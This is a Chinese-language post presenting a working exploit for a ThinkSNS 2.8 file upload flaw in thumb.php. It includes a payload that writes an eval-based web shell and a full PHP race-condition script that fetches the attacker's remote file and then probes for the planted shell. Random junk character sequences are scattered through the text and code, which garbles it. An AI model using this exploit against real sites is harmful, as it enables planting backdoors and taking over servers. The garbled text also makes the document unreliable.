Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
) r1 P; i8 I& T+ e& P漏洞文件
3 T. k& S9 G2 R) n/ v  ?* h( v& Y存在漏洞的文件为：thumb.php
作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
0 F. w' p% y) \' W2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
; m5 t" F+ b) M, X1 e2 N
3、        上传临时文件。
- {# }+ y  ?' b  t& \4、        访问临时文件。
9 k; d0 s. G8 a0 n但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
<?php
error_reporting(0);
set_time_limit(0);
1 P6 Y9 I9 Y: F6 t! a* a7 {ini_set(“default_socket_timeout”, 5);
1 ]3 H0 T8 T, l0 u3 ~function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
+ E( \, C, k) }+ J) a' }fputs($fp, $headers);
return $fp;
0 |) ?' A0 z* V}
function http_recv($fp) {
$ret=”";
6 }2 z, A9 z5 W4 I" N# K  Twhile (!feof($fp))
$ret.= fgets($fp, 1024);
- @) i$ F+ C7 f+ `% t2 j. Mfclose($fp);
# ]$ [8 Y' P, y  |1 s3 jreturn $ret;
}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
0 W% s3 ^6 ^# L$ W, ^/ H# N4 j1 p8 ~print “# Discovered by 韦鲲鹏 #\n\n”;
+ c/ R, Z; K5 A, |& l5 e' N8 ^1 z( qif ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
7 U7 t& M. {2 H8 H$host = $argv[1];
) ~' F$ M! t2 _6 k7 X$path = $argv[2];
& c4 C3 B% v8 O, x1 w$url = $argv[3];
$i=0;
6 n# E4 X) {. |/ g//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
9 T1 D5 d0 b1 R' p+ f1 u0 ^& s* z; j) g$headers_up .= “Connection: close\r\n\r\n”;
6 l# x* [, e$ a, Y) d; Z4 v# W6 Becho $headers_up;
//临时文件访问数据包
5 s' s! |- d$ E7 |, {3 w$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
: D' j$ I+ z7 c5 O) `/ M3 x. q, ~$headers .= “Host: “.$host.”\r\n”;
' i$ `, H1 l* c# i. _$headers .= “Connection: close\r\n\r\n”;
echo $headers;
2 d  J$ C2 `  I3 z/ Jwhile(++$i<10) {
9 F+ l; v6 A3 l9 w2 Ffclose(http_send($host, 80, $headers));
}
8 \' h+ j0 A* h) {6 mfclose(http_send($host, 80, $headers_up));
. q* y, }, }' e2 awhile(++$i<50) {
fclose(http_send($host, 80, $headers));
}
- x! r# i0 c" l: _' o5 C5 g( [3 {6 ~$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
4 Q% K" a3 f; o6 ?$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
' {1 W8 [/ b7 hif(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
} else {
" m! p, c# S5 z$ F" H8 Kprint “Fail!\n\n”;
1 z# |( g0 d/ L- z  m! h( Y6 C. d}
* b3 M8 \% ]& h?>
, k% q) ?# v# U  O8 d7 j​